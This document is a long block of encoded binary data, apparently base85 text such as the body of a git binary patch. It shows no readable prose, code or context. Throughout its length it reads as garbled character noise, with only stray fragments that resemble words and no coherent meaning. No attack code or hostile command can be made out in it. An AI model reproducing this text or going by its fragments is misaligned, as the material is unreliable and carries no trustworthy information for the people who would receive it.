z_0h11hG_nX#zCg5OhlJp(^W2_Yq0I=9&t6;agB=@7Ua0bM~pxxMvMvya2<%qKo3P6 zLvKdh3<`D?FZgwEgzL|O2MU&R9Vk>IsDW!wk<3aBT>FYVtQ6z=tym_SS?pn@o~~WR zGtoW8A6ANYMU=Q>#JkFsxQkXO@iSVfM5K}68e3vW#RS*562mI?bG=90&ozs9n5*Bj znU#jQlAe87X@aYM=}fd?>4%l3yNZ{|L`#-=SZRi!)Yj+KfHaFG&4&7G!hv0VRN%HN?)8sptzY%vZGl@Hzk86J&+}#}V($tq@&1q<= zdHCh2FOM|$)HxeG(mYw`2lRZM?}BHUKQz4EW|n!m;g4_vQjd|YH$$Bp)(&%oTjad-W z-8vsL2fYyUA^Kg+yqJ;JhOTXlk=CZJ(dd@0?a^&rJEA+fc1Cw~jY0QxjWkAEN2wfb z9iwuzmC>~udXmb~)@droS{HD~THoQ0wSMRti(bYZYhA@1Z~cio-paxqZyDXKZh+EO{i>eOu@+J(v~R#z&gSlzp& zp*^UaYW1RWs@0pysaD@^gVBCePPLM#oN6U^8;TB~a+)=a%4yaJDyLbay1k8#p>mov zmda_?xNh&DcL9i{#~E2G9EI6d7HybgJ*9FEKSLLdy1U1tPWO&zK=;mQVD~;~aQ8@KxplaE8}ulZ%dL#= z3(=EQF1Joox!n4)`y%vfDpy+Psa$DYpmL@4L-!@*P*Sc++ww*a*Ne2HXZFi<#wwV zmD{b}RBpHW#%@IWQMuhpqH?>H9J?7EK;W+hEsb4>E~E00^(mEytQE0~ z&{b4sSQ%7iSSP8>uufB%VSPzuhV?a-8P-`UGpzGep0$E|v_bRsh(`1Gh)2VFbVMV1 zbVdvH=z|vN5y`Jp6sPi>Rg%hcR=FPA(ehNDvno(|&Z^X7Ct8`x^Hwz~&s#O9Ja5&a z^1SsDmFKNGRGzo$QF-2~Pvwu+bSi(e-lg(K>%$)F&;?ZfXnjQGkJjQI>F81_?^>Ty zdDmJ&%42Nr}D0~fy%qqCf0e^+Ct?|)($FvvUXAVleMqMZu9_^KUs&U{K-1p zV=sD?%3rMWJ!%Bqv#$2|6}{f$PxNMwEcAAd$LNnex(DC0e(I4#{7a9g=&wDD;9sqW zJ!YYQ_Lzfa^_Yh~?(re|w8sL}@PCAw{>7->q+w z@sB~P`NyI){NvD?{_$une|IWh@+T43@!v-4`F}#|`+q?j`nMXtT8;hhQPadfj7(Gi z2=q1oD73kMJo%RX>1b>JG_-KJrJSOa1%NW&V!nr~c093jaZLl|RyWWNq@-2zqR7 zqyDkAgZjtT9{=a)KI$J^2dIB+9r7PR4^wZsuTyEcZ&GQwfAW8U{z9eY{*_A0{hR+d znn|VOeoCd|HhM;*X3rC-yJtt#>Dd_#=y?ha>=|iz+F=LGCU+uc2M3tnPj-E(UEL7s;=!bcpMWc8crBZ?1HWYlC)= zi$;6IwMTpEd@pKz?%pirbN6Mbn(ibjYr2!Etm#grvZi|wl{MW%sI2K8MrBR+2r47p z$$dMc zQ~O$ErcqhZ4o+x;=1qu3!xC&)MLT~&N8<2=&S*q}hfJXa-XpSyP+8v|MrD0_R6=`n z43+imu~gQ#$0fv|c!{xl(!%nB-7+gGV6_TUTO36iCJM7BI9f_+XcSfrv7b8<6 zIg(#wsYT^Z`z0!O+6}4PX*Z^Fr`?3gopw_yciOK}xyMdTUL3R69zy+Idl>b5?Gee( zy7t}gc)v!_$J&wiK6efE1)?ziVq zx!;~g<$n7^D)-w9sN8RVMCE>aF_ru6rBoiUKc(`3y@JXE_9`k5*sG~LV6Ua}fW4l| z1NH_g587L(JZNvD@}Rwg%7gYUDi7Lws61%zqw=7AfXYMmVJZ*VN2xqyXC%j?C#gJS zpQiGV{bh0=^lK_Vx6f1gxqX4k&+YH1{M`P5%Fpe~R35RP(m%)T@+pgBPS_36FYN*7 zd3!B-!9I$9XJ0^nurtxi_T!W`{PxV#lxWl#V7o5c=75gG?g5=qXMl%Hz<@}8ho<>} z#W8p6-e{)1bU+(^QD)hIXmrJZimpt16-#B>t63`3UOV7aP@`1f?Kp*q~m438RXa*f29tOc%FcoG3KRV4XzZty3HjFRfB3y^N z@Ebe=ezL;g0TM=Os0MZ5b%=%-h=W8(gOM;5-iHP739N;!un#ie8~6ck!LPtiqZ)Z2 zKNN*B@B-9?SD-0$fLP$?qm6+u0^WjYFdIIC6~NEAbAN3ZyWtD?5-!4Z_!%C;-w@z7 zjC@c8N<$^^K|N>>NiZ13z$ADVK7gh08Ek^xa2QU(dAI^U!td}HY@3H>LP01EmB0t} zARdw+4MxEPm=1Gc1#E|7a2{?#COm;)hdzP|5D877J#>dYkOre*0!)Xwuozat2G|J) zAp^dG@8Aaf0)GHMN6W9)sK<=49Vi2ppeDQmO`#3=p)U-C5ikeV!(KQHU%@SS1fcD!D_A4L90!qRbxC;66^Ka-3ePIlI24BEs_yfFNgJ)vVb{Gqvz&3D) z8%8_m1|wlSybD`lACxJ;{y;tG2XDh{I0zZgIfC;B(qIv6fN$X%{0@&Gq9Df>`alZ2 z0W;u3SOdEtppaqoC~O$X@D?0~({LUxLU<9DhY7F>4#PRP1iwMSqVzrZpf1Ef3QU5P zupjQgeegVE7=@rNM8R4ZTa04}>tG)|0IN7-6-q*R=m$sCze~^-7y=){QaAul;Q5kx zFa=h?G58X$!%yIPmKtaP&7c#EfFI#^cno$agKz(GZa^F80&$Q8U&2Lr1eHrOhG8>A zlrfBQ@FKK^&X5Z0U>ke~&C7D0!E)FSLFMRIC z@Dn_Mr%!gw^mt zUA75F;50l}&oJ7)!ZC$&@DPgCr+?rUlx@JZ2?oIe*b0{*3raO)%)(HZ37^4_;BG|! zKnv&!6JRkojhVNg5LAacumn~?SQO_B6o>in39N(QCiE?ghFP#4_Ccjr=|iXk@sJAR zU@CkIMVoS6g(!FguQg*{fJv|dw!&ff_BF=+>+~!90M9n(PvhW+DR33;!o(JaaSt9s zN=xPlxB_M?junJMF?b86!E8u}6A;;&u?3HzXdC(r-i2dOxGnt%6`=;Sf&>VR#)DGO z1X@E!;Eg#W4XU>{j8~yG_+c+E}!Y@#}6FFD~C*XG&(wV-26_5_mT^MWdD`Y`njA8VIM0l<%eG9KaJ4k?3 zDAtYb!YhyfBVjzOh-Dw(Iy`{+J(v&RGdKsA;V*Ffj8m8b@AYKd!mv2n3Jc&f*aRoR z=tY~LC>(?gsMVWu17;<1&VWCOxfLcuLVvCgun*3Gk<2v{ibHv*3TZG2-i1Z57IuJ{ z!g&wVVJ`d)B?mCyLKSELO(6#2VJqx|Q}6@y8p!hS7Q6!=!*-aF%J~E>+Fu`olt~HIy+1t)Vk4hKym11TI4PH<`a+2ef>Pc?=RD6-L4>=rx{wf?Mzi+!NRaBtZU2j0M;ZC*TSM zO=dgLe~MuYhsAINR!-&G1t;Jh{0UXwX3l~3(-`CM7Hocp+;qk(tcGoH1ipj&;CYw% z3+lpIxD8=58Go=4J_X-*gCai^}`+3cAfO#LHpe1yKG*}Loq0~XH)9@`^g}aam;fJ^vh8LhFyaG+34IG2_ zKWF{01&+bD@bY2iUg!>=!$~M`gs}q$Ap`P%!Eu5z@B-9?SD-1hfi4gSNw6P|!2<|B z#`OxyALpJA=D-Tr0U2-$-pt^&qm`{4#Wgufx=TiOa$p&pEc@$e3O2T>Q8PhmHB zFB--(P!_(2zu@`rn9t!icmxsObAJs!XbkP38=Qq_e&Cov0;EFtCB_(BfEAb71{{Xp zV9XWfDag9Yd47%a95SKcb=D0rH@IHhq@C~x+_xArP#kJQL&$%dbLtLr3CxF0kohC` z$?)A><~PWMC*b{w;{|np=Gp?U|H83??;+1UUJpVeXb$b6JA42uU<2%j<8T2A{mT6s zybfI;0Y&MJZ5c-633tGZ#xC_;va!vo6zK7D#0eZt!cpv^YcqR=Wb*TUipc%A=P7n)yAQ^_h zXqW)gU>+=im9QSZfgj)|+=D;BFnLl5B>R~QHnp`)AaKmt^^`8E+WhjiEnB^am_d=K?_ zL$520f_LBw{0$=lc(MY_g57Wt?!qH*^XoI=Py+@5zk|kaoAG2RsLiwH`K*xf39N-H za36XG^Q}L)4_UC7C)a)f-@+ZJ$+IFqg>|q8)H9@pfqI70Y4{de@??+UFb>YbB~VY` zXb5ef2h4(F@DKkAusBaes@#bY=coll_y`K+3eG};t+=i#nKY}p;lVBcf zhC}cbG~jdNDKG;*fy+>-5Z`l!jj$iShU*Yqm~ULcO7Irp8)i@+I>B%l2P@$yoPk@= zr6}u%Utr8LJQt!E-zY22XYHXAv@XH%hOglP%z2h&;a6~#;z_NF(k>%E6ooSI0@Q?8 zpeeM0E)WMv@Td&!EX((cVHcDxN56pUImR8l05xGKY=&9 zZh#-Yga$9M42*z@5dN~uC<(7YEDV5~5MGDpBEU$P2_Hc^9EKC{8;q^X_hsQO81?vO zBvgPX*aY9eH85Y{T!C^B1HGU>41qUb51fIEVASUsU{D!)z-{;g)E@=%K}mQKYC}`l z0KY+-h8%m?4oBh5Mtrjzu7lwkSt#Z(V~}Wcp|bP>eb}WOzqYjxZ4+`CZ5#3{8XXcA zQ_g4?QV4Ay(i-g$(gW=nG8XL=vbbwGqjQLREU%RelZ#&pXB78MjTt8c)W4a!wPs5( z@~um$itPW~{7<)n|10mUO;(P>Yixqtv zXXQ0|Sz$)JRlw+Nl{WfVW%!#!86yGuSQ1cPCS zRoxhB)ij1#k;ZVV7Jt*I#V7M>8KbN^d%wc&GMZH<}m9=vb0K-t3+rIL^`Vh&eQIp5RvQ~(6KsYpu+>^)Y=iCAK4XV< zz}RUWHFm*n*aLfEpLNFA4+r2N9D>iSbH-uof^o#UXdJb!^S7Ss#xd)LaU3$No5l(2 zws8_p!D;J`aR$DGudE-9ui+aw3+LcGd}}>0F2F_WPvbl5FXMabsqq6`g3E9PuEI6A z4maQ?+=AP12Y!UR@DuR2Cf6^P%XJTah5PWE72x`vhiqnAMO_c9XI&5B5BL-QvP!$M z;E`3%^%$O56YEnVf@tz6H!qh00QU0u(+2e>M@2fHdlCHD~53sBiT)b*l!oU4j^ysN5v zm8+V2ovXTgyQ>EHpe97RkGX2OPrGWn&$wQKm!S^Sb${uq2d_YVXaEhN5j2J<_Z3$Y z_chn6?(43m&zTSOuTKYFOho z%(ZUQTnFpj0cJXEa0i+jVH0e2=QX#$R(Ghm4Ys?(%pLA8@!f zGyDSg;8(a0zqzZKze6TGfQRr0{0V=#tD9Ny2p+=|cnW`mVOKX@V1fm1u}F<3c-C%d zmavv5l!xb`0#t-bc5Cwms0=Sc6{rf;pgPn5AJl|Ms0Fp*C3qR?KwYQ@ zuRwih01cs$-NtMTQP2clg{II9UW3=6IkbS5&uz$LwkMHRGTc#M=pGZ|DPkAp!c?iDn`sL4Qbw6c_*l z?Ibf5(qIq_wo}a^Fw`Du4ujz^0!G3p7;O(X$G{sf7T$z$@D_}R2`~{R!DN^MQ|*!F z+b|8@f$1;<-i4X)p8b~jKFosIFbC$sJovz#V18&%GUvkrSO_24Q_V%N7?!|N_!ySK zC-5mOhZV3AR@rZxpV_m_)v(5%W3IL5n(JV_JVkBW$vln49g7%`Nsab1Q6v z?XUxO!Y+G_x!YcE?t#6q5B39}T`~{CAv@jt91hzX%p-8r-eP`X?=g?TamcVU%oA`D zPT8l;)Al9vjD6Ys(*Dc*$~LX9;Tt>HI%^lO&e;*xdHB{YZ(V?k@SR=3`rfW={Q#Hj zYSv{t(z;^5Y+Z$Gb{*@wUDvu{*SBuk4Xs;tOY64X+PVWj+HI`6@DuzDzra2C74E}t zcC__7WZE&-19)h6xBjquSbxG_kOhz6F+8z*T2Jl8*5CF$i$|%rT~2Ga>8y2I;C2qV zZRZEKjQ1p(CDAfnr{KX@S?-k<)swQ&#sRuPdG0 zwiIwqZp_}d0#55qs&#xj+EM$VUL!?FT|ucUm{Z5Qb&@MAxuSYmwVq-Um5}IJiAqaU zHYai$(pSEK!U^-6V>Y=yQpVNc4q7Svis0cqGviaowKW5$5(}k1*y9$vKh>@Z_F7fjUx0 zHPDlLRD;FMD^Zw4`DK0iWqlFimh`BzOs%h^CwGo0CAm_PDzI_qHc@zDf?r?!Q7t zL||@DK9$HFG_zIqdF~GSeyAEj{AE;fc_lYFD0kVZIg#5~BGGb*Zc5#clB*t^y{y~t zcypsXIT3#c3C~?~Gl^PA)G8-(8`~xKMv>el-Yk+k1HUP`xe|RK?gx^)CeaOXZ%FQe zM1M$>P&9XIiA8g_mMFQ|63rENuH<%0v{&4{lKWYrd*a@cT!CkDw_EU;-0c>W+{+Tx z6}PVB{1U~98z;FL63rBMrsQ@@v{&4{lDi?%Epcy2E~r>;n?s7_wmC#{RVAt}Zgt5G zmuRH8BPF*^qI7Z7C3jq+6XKqb+!cwgiF-|Q-r~7!E>JwT%>^X)ibM^>Z6LX5iQ0?X zUUK~gG%JKIY@G?Bx)mW8_5lqXr#C!CHIa* zGsK-CxkVB!5qF8?K9}f-xJM)xS2DNF@g;NH951<{5)Bu3xa6it^tQNfOK!PDE5%(Y zxhoP~6Ze|ro_jX8RnI@0+p6a!_l`s}#GN6z4HqHo3hR&w_x z`d!@LC6}jEZkvNj<+eFUa-}6ID{fiIRh6i^xYZ>WCsDk(@sgV_(L!+-N^Yw}+r`~3 zxqA}b7x%v8@|2c6DlK~?xz{CXA#MxF#Y@yj+&+?DQIJ6CcaOZ17jpGYoUqK)Eil-yp4_KUk;awjA@CGIK7U6km1 zale<`Es5@kdq;AANc5Mue@QN=Y;He?l+Equ5XqI6sI0hUCFheUQrt+%MM?CkxUWjC zy+j?w?I^iKiTaD%Uvl#$S}5*9$(@qujJRhccTJ)j;@*(lUlKhM_mSj+%1K|9lfIH% zq(rsFtu47|iQ0?XUUCT%C5oFUxi=(wQ`|Qt_qIgui2IJ@)=0EY+;x)ME75*&_e<`S zL}$c3Be^RQT@&}3%?6rxo;}uw)tFz+%}(++>@NhZJel-UFSAV1? z#Qj{{BjO$r_nNpj#JwTz6LJ3*_iu3vzn;6lMRlb1x9ID+`x_~4ZE<|uJr757zf@UeIV`waf3QYU+GBqRfpWZDk^R< zaf^vtU0k2IK5<_cw}rSZ#2qMZnz(7=P7rsJxRbwQ9%Bv&QSKf}fef6xkrNu2RZj`vMiu0ajS}3SKL>`eMQ_B;g^k0l7!NthmpK`<%Gd#r28n6Zchdn~B>@+-Pyzi`!mYzqoPY#%cEt zSJgni5veuATu5BhRGDJtebi^R3*!63W~X3285L6~L}_s}#H@m@F*~8@=2CQ{*27Vo zh+ntPgz_{E>uwm!T9NtqCZIJAJ?f<9=bL}-Z3PTtoINi>X~}}jlJ*tUV`rgR&Xq!Z zzQ$Htf2`vMI$mh+E6f({*NZ6q06k@g6y>|rT7Bj+;)ae|XA`ZVj&hr8EvU7q))HD{ zoq5IhPNq|!IPKAy38t!_>!>z_YMt+>wk_2060P;LuG9H+9dFFZF!xHEJ=`%IPbndQpyRZ&lx)=_A<^BL+2P+Rc?sG5*~$nrd=!fB|ro7NF% zVeN)GkZ*+DNKh~Kqbe}AARL?x4D~o8o@A>crzT2vMW2dKZWxiwV z^hNIlJVO5pDE%TwBw#vPSZlsKs+|S37S>uVSnWl%;LoZkRV}O*oUUWFREVisc*0Y* zs)|3U#(MIoK2OxTFhDK4&bdT>jj39G##Z~zxmiPvjqE;IO*~ic(F{xN*9=ST*Aho< zD^2%FT7cSmy6&+oy^oKzX6fVmSZm<`wf+hExMVr4BUR5R&2o;RR-igYk9Ax%uxxFW zPemVV4Kdrjq(-dTqi(t~%NhH!a+PK|o6y}J<(|;`SZ6pdbdAz1r)V8juQbc?>sV=) z^NEg?G8^bvspD0>6yQ~7(;+=t9IxuD5OYsm<*NO4ys8Hruj*~btG1ry?5(G^qO@ta zTK0rK6SJIUuc*Az5c3+kEnKZ_Tew=!ws5tcZQ*J?+rrg)c6xf&=ST&q{-0p3C!Szl zMAzvtyv}LSK*bZ#5Oal&kLviYj)NMid}VZ<(^BhXtxM4?=La1>LhA-aHc~C@jXu`- z5Ob!^e29iRO0%47S80~+hsRp8oW#azDW&P=d^AfRoyS_~dF?8F-D)1C#>qLQ9;b;K z$uQebuC*7M<-ChN z)|%y<*0EA%1|2K?B6wMIzI7g~)=*ftq?Dt!n=g;jSZ8cYt^y%1w^I9}=ED$kCvp1_ zb+(2&=ZIsS@6p{JHMguW)!670(xJ7w5~<@=HBe~-dq*2}&05=5=?<-j(XF1*(P}-a zKE?BXd({sgq8Fl0p!1!K4txXMF40jbj}1pxpnXEJmul2W)igtW<_z?4g`HaWqao(E zs7KFHck-%ytaH7ys!85H`;Q)7x(r`50%ySqV)vJXAls?pJd#Kme)mec% z-#LVSn@?$)=cdjCr|@)xd@9Z?Qja*q{20ye6da&>K<(EWGy90VM5d0O+c%nO{d+x1 z%RQ@V67s86_2EgKIjJ)zbtc_xFqA8@SIz2695vg_%{lsNTlw-RJ*>BqSwxMW z-TL_6$*Z=TZq6E^_IEQ{HBgNozO=`-Ui7NHNH@P3soHr9%`DP*lBJWfoEGU#NS4^P-M&~!8IEp@k`+PvG-eZ1;_RascCA>HgULG^&zR!QA&F0bmV!ulM{ED}9Y zt>+_@^I|Gb=5Q{fA!fkas?BOXso|(Nvq;%#YG0HN4j+z&Ix6N$t@HPpm)bdM4Ry5E za*DpI_O~TEH$b`R=Jc6rU(`N^nBUJ*ZBXsZEMm`AvAVv@*Vn9kc~lMa%pA3pstGZh z&sAGg?Rhi5(z*KnB*cs-A7Tzc3l>mIrJJwJQ|sKPRqbhJkwG6Q9iers*6eYz_CuB5 zq;&_%o$Y+))dETj2dIAQ?rd0~<{YIZwWbBAc%7qWs(}U6`l~sq3sujLL_^HC(KL@5 z8>xCmx|2`Uyy!i{_^%t(YZ1>_(Mx3(316bN-e2oBbe(fysalU3hbKI$zMOMtnObMn zPgF+DR3T;y;+OQ+zbK%t1>9rMtJHj|&S*7SJbM0lk~d^I&l1r`Jl#~Y#0ihm%p$67 znMKrmHPvqQ8ArtFfQCA1i)nhhbM@Wb8uR#So;c#DksMiK_(&V*_$uJvMs za_2jr?BOX=1$UyY^}cjwwp+!tR_k{3&HQ>ZS$Sy_NhIsjLvt| zRq}*KT`}i7uj#z%z4?w`$9;9p7#&a0@q8UG)$ukR??o%E zN40Q?quR5?Q7v5Ud-n@fsWdr8y~0Y4$$wm_8l~y_Y8c@xBJ*Y;bq+3cR85+`gPp7I z_Cw4$8EPh3frgkn&{I0z?NJ#yvf_?{JiK9l&-ojxQc=lJ+1a!W00u9yI;*6-$ z->GeRzE^u1hKA}k@AkZ?GfJ5oQD#vcw?xm_O3&*1w9`3yn#}1a^)5uwBI?eqaDd*H zSGBNepwfy()T^WmQ8#~3TP%4=wZE>`M(9bp?$pSor<#+N?cZbn>~|nA`UUt zQApFTzGEG=&cphM^waxWI6&Qh?#=Gu0JUE(uhO{zx38(a_yuK8ud975kA|2{(It+` zU-fk&UZ`KMg_wPAs8ONDRb@wQw}akFO(*XywNwT4gr~ZWTcUFV_|ZF-RreBS?5@Q9 zViuq!^->#kKUdM$%_>gOJL;ZrAo_KMfV*l=5-gnUeYzcpy}q@nd%5`LWdVsqjaI( zuN2R!2Wr_XXnrT{p}N|tSMimu`+H4t12C@F;b8m98;WOERL=oN&fg z@fuxuC!cEb5=WhP$uXrL8^-M@b3oQ} zh`6B)aBxAQp%c5o+IR0g|2fZTRi7Uzr&X0H23g)r#$LCgmq4T z;>SAkda;wlq0Vn;h?zftXH4lU;OoU!5r;Y_(KL_JPC8!aB=Rh=P-hI9=204}-$6>u zem5-OZjjop8O$@8JVnus`W@pXj*8dVTh#N!0#uvRJW4~%hI!Q%x1kI59omUvs^8N1 znPaurDo!_5uO5z4$1x+SX+E`77j%iE&b}qOKbPq9cZs9i!umQ@C+ECY$1x*npjXu^ zZSAO$w%e0^+|_l&6YvB1!QpD;gzB?3EoWpV7f@?c%J-(x{Ej*oS`}CCd+hWCM5vaG zMN>R8(fQ5_bZ=o5uQAoy(mZOZb!4PYy?Qc~M{q_kRt8Z)Q09@cs?C;q;S+KSTCS~H^5^(7-pT{knLR`X1@jHqio zkuAgwd5-a{uXNmd5Fd_GbJ0nyX#uKlFX%Bjyr>$Jhoj1rS8G<95vA@-4(t92ciwwm zt?fQfY}@H+%Avuat%ecaF{faomyveh) z+UeJE^PPm3c}ALk^|3IgUcDaa6Ec|RpuME;gwNP&);*=Qt-emJu`l4Jo9g%$)>oM& zdW%c+JD-Jf?yUac>1n*z#Btm>H6@9BSRd_yH_kQZgcJHT-Lic{^ z>d?KPy83kQHyJm@6WBm)F?&W*chqg&U zd!+fDgAI8)T1R!R<#&GN>1lb4Qbr&=V_bKN8~Xy=@k`^KV6w5;oC-5wCf<9-8e<;* z2k@bhVJ z1zGS29>WuO3Z}U)&;mEuP|MmEIK=7|GRz8KZ;d+jYRAUbs1{qbiczOe{Giwdy?P}K zN=Qj=H6T9KKPV+NtzJ*@RcZC=Qrcp0(x8L^NeOZO|5+fX>ecu`ty2^Fv%(?q?S>DC zSL>=;L$5%utEQ~0al(*z$I? z|G$zc1DeMViBD2(Y8>A?LA4?!`9CWf#Kpy@r6u%Cif<9$zb9M&k5%S`>L^C{O&QuE zevrSHe~`ajN@9Gn+Cy5xPNed>`LP3cEtbL$wv`oQ$|$Hl95G>uPU zEbDDXRxx5@qX#iw;~J!<`iHB-tok~d16{Wk+fYNTYSk*S>R898r6diBZ^qae7N4p| zZnjY`E;hDtLfU{N|L{gh{`qB*pWNS{?C%q=&$xPhVq=^AcS;|$WPj4A?A7SQtqx9WzZ!q) zOj8SSKBo+!vr-fMjFT2Ay%KsS#HZ#gqmDr}y}6e0Lt74JoN%J3MrJ43shqK**85Lh z&c%OHx_jHEq$LecjvksoSGVG5r6wfzX`hBEQd3h>)eut0Q0)!{yi46_w(P`s?~L$sNTtr z+78y^A^RU{5^R)|lEz7wb2>LpNacJ=N!1(5S@vIpK0DiiIeSpUgk*o}@Ro!7$EPO5 zHA_w#lsZ^X&gy9CZe+l-y7*qveG_^QQm5Le?4|V(Zf3(SM~Ij+ODtvzwbk`EB@WMoGhEEtv914OlI!vOHuYLrdFSA{(Iq^ zEDP&pb7sTFDg7DMOfYIeZ8XcC;u>*+S61hF{{dWlQY$xWURh?3w93tzHJ5)?&N<2c zAC{Ku!TZ}jsuBzL`O#m5I&m5#sm1A?)l;o z(gxHP5-kbabnxTvS}U_2`z6Hb2pd&pWj%I1va&L>vgXgL5?!#2)pi=xNXhzqTFlha z;mT$Lm?E3-uZ9QubMyQ(E1a5eNVSVPlj>ONEh`n;v3r$aPZlhy|K;g9Is(kfRH_Lue-eC?D<^$(tc>k)jn}3 z8ra>_SLDC~4U=DGAzx9$!JIo8KPUvT6RM*>jh>#c`Lmgxxw^}!@>4ec`up?= z8|!E`d%;(5d15{dSEm5nEIuvf3r_@-{;-(5T6t)y^Upj`dL4cGxMZ^a1%_vCpxn;68g)G1eAav0$#L`2S?=UU6_C+ppeEOG1%qgsMNty{SX@Hp59mwrDN=|t3hu-cdH z^w^6cf?Wlj6xd=COCEQegsKo$uph2A$tyNaP4xPJSsDSS2x6s0$Pk0uej-2?6~Hi4ngxm;1!>#nVB0 zLWIE1tbL0x@&a4u_*5JcF6Xls5)7>Kmsc+WO@t&8Ymt(H$Q;;RM zcE~TIym}!VCM%8`L@t*xC_hE#=&R}d!#Y%;iDU@XCO1P5)nZn5q|n7;@%{P9C+?(;yO5eP9*7&R3&5NNjbI#*fRR ztnx3#l9KDRm8VLp)6X)HbYsA{r!VFr9HQWLFr*fNAibunE^P%phh&K|k|=%9nsZF{ zS5NK7>B~vBqF)|3A%5E7OAyXiv>p=l*-IoWHjR{y@wjOb#bX4llIoWlG>+so^bT{# znf0L@idRG63Rpt80CCaN8b?G35i|budJKw4GKq5h44KJ9RWKp!WZmw$u7&yHwnS+#epOik%MA>`B&3@sQ3Ffw+m zTr9K2t*K>MnA<|=o%88(CE5L#CDjU_7ZiG6UScoMKzf$SGB>E!DNhxo{9Y+0=2<~@ z-^5WEg4mu6{@PsZzI`*=cc4&q+BX23exxLhL@wT1>L67j^y-kWVP;U_=#+US^^i)0g1G47FxO3 zx|gTVP|!SL<$xuPS)5DdV46lSwI$;4>oa*iC!047v>{?uKV3LUG-Gm2P^@sOwteeW zX!^jD;x~K~T6zb9G8l~?BIn^mlU$AAYaTM0A_nvUgwAYHWF)~i=zwHkP2in9VmNI~ zpUdWVEv@B_4XL#?; z#lqxl5TQXxMLjZvl@oB*D;!nH{b((Ec6EJEl}WZyRkKuj!!Vi2LeLe0Jb+Aa`<{;Z zJ(j@Ec&1XvXm5mjFC;{qQ0JeaBq_?fYC@=TY^i+bjXoDRJ7YXctKG1SC(MQZ2Cw$E zL9w|^#|!Lo>|%d}@eje3Kiwrh_VtRza4a0mZ#d7W@vZ6)-cIWL!ahb2Z`g7iqH}USnYB% z{&-kGovssE-%o{TQ$E6k^ zQ(whTU{8W$mQpw3^Pr*jR6Ej|Z+taO7Y3SX=(piYjDSQGJa@ec5t0_$_e9qrFodLO zNX@&n-t2GC%l~;UmM<4%7)O`}mNCd+u}_Rg6ZHG=E}mO7L6FZRQm#<3Y#gs{cb}bu zfs7oGn*n)>kc1;XoM-NgNfkX%Dmx}CA|;^cu-7E2t**1G?KG-GlxxQg&H}ZRzsxGS z5=+N7UEbZnz$I1XTZJjWE-({PQgvjk3}bxy&){#kPq>I83hIF00LS{>}xkCou4G|gyC|NT;nW;)6HOBOfBtx|B zKpCseJ2WVocdXE-(f8bz1uZi;TXr&C|D3KMb_v^7B`U;DTG@)d#Qeyp zN@zm0Ba~UZp9};fcC^7>l7itp0I9BwZ2tTC@kzSGS8MfrJbRu%`9}hdMwzXX$k))4 zM1Txg>*QiW7HY)L>h2t9byntf0CT2xh2eWT$~VhLWwsC-ElkqL# zD9s)ouIljD>r|AegTUv7b|KGQX+$csyPrDbVsgILN!x*<2}-uJ zJZ1`5J*{Rzhw~X&ACm5}{@jYJe)ysCoY5Y~1mQMmIRAcwaouP+es~cx_G*}{{YZKE z#eTSfAge^Y41uU#dOVs+s&qDeWOJ3~+?>K#Xf*B(^BxO9ayz9-v;OsI@c6WTNjfPd z89m_^Lw%#pIoVv+oDg2*i_BoLnLP^a5_1|_Ldt0xB}@w(Rb%U`y{URc?xL2|Wqna> zc?OmKk3tHZi1Vs^?5}S3kh8B!mv9JJnFQF>pBD7zT}#NKz!&&AMq5>4Yq19q{U(Xe&4#BCOV)n$4cF5a{Cq>Q`EPvj>9V zj<7_JU`GLQ1AD?U@FRT7X5&qmTAKY{Mdce(#k(pTU0zbBsd<)EomB??ItQu!t`%q2 zr;xwl)78jV&xp_3Q|YDgs@O{7Qw)ip0xMQf3+}LC*PwiCc#)WC!>zW-p{Q_Q6;hDs zR7i1_ZQ`S#lF|B9JC1M||oE0V@P^`T;`ie~WBboXY}S6|@sH_KS=b zIya^bSIq)oY+y{l3`8hVwEcpMHyQeHBxsjtuvg)cWit_)5eAVRs&E4335V%^q(zod zboi(=Y+XgM=Cu!qafa!!&vZ<)i(>S{2)qz|`NlgF7%?lMMlXeqy$`%fS)&mo{I+f+ zdo&8D9PGWXILzUqL8}p>)ksV(IUB1e&a=ef>QY94qgm(^j<2Ov`#yYt_^O+QZ#3-q zDCU@gbGi2fF8^1{gH;1wYz5)h%8cNc$>?50n6IeRsS1YGnx4M6)*J_OClG=yMC(cr zed=8QkdcV(og|AQmMqh9MC}WD|3@(iJ+2Ke$0{rHEpOb+{7`l|53G^CA!YZItt&6W zF(Rc`zso`3`!_^_5PX%M^35tiTi!8lh(7?czeP$sMWm=s4Va8;3V;m91Z zoR?JvX81+RqaYD-nO4MhGW2vi`<{A1jD`w`qD{qYiMXi}dEnRp)AbO^suX&45Cj~q zAa!;)RThbd^#?ry@q^tk!&l&;+~pSZGb~Dv%9#tm`RN?Ge~Z&sg(~n5Y!f>i~h3nJjXgIF+E+JsO77+?9l2U zJyIwmUA4naHtHJl+wUh2b5W7M-@=?u!@d~xs0jEswQDqVUpyrw0bRn>FHtwE8Ymr zM3E>G2NPV-HF-S;MHlkyzAtA)Aj)1MGE^YCkR^R!6kl+j4e!7L>jt>z%;k3W`K6I| zED$c-I&o3DnVv<12eb~=gHBMZXy;rj2v9RRXCI`7o+P8WEWxyP834HhYmgDkR7@Q> zTm?bF<()ITNjBX3b-)-886zTGaqjS=lVL7z6RD314#*T6lD6}t^ z!Nk3SH28r7NDdQgaWO$pcu9Vjak0Ev7DcZ3L5t7@OTQ2pF0@#8@^Xjg&v5GdtK+EB zWL%cCZl2zs{Gg^5{9QWD*=VKUNUmUu_X37g$*0)|yaI{I<3mWBYp zq@?qv=|q7UPraRkj7p{MGEw}**bfI=KN(0D?i>zj4TJ(tCv{4*@9-|SlVjYeQyrep z&#k699|L0{OghM)(ZNm9GSmYh^=P@iysMlOk>b52sc_)Zy>d^I(S&n$%@`%-uYv+6 z91y=%fL<~LfR%)JW=$>QhY!WOS%2A*^(K;b5&>d>u7Aph2q~T6? zrm_m!Q*4X^>Zbz!O(1l5T+B~o*I;T1t055)Zz<`jRMBc~8s0ka9%q;a!MBy0t^Uw; zI6+S2Lm)KFdpB-D0e*$EfD7qi8icOHsUTB@Sq0ofZStmUG+v4Z(w=CSa!$;PNjU>( zL>Z86PV!VxPNf*rJ#mC8Q9`7zsjKi^D+#LIq6iH}H{;}xWjg`6|8BDJ08JZUu*)$b zoeD0+wcV5Tsw+KEVVJqn>6i}~F9*yvMO)AUv6-Nr4)+`tD7XfxoQetb&eI>@1Y-u# zow5QQ6+-e_qY{3vG{a^moxID^@J_kV+B3EnnVM4W@LV6ouADE|*>c;jeQY zS^oOq*Jqw8Hf}6qf%}DayND-3JDM)x97lU(F?j`!50P3!1WEc7W2#YEGQd1BLb)`i 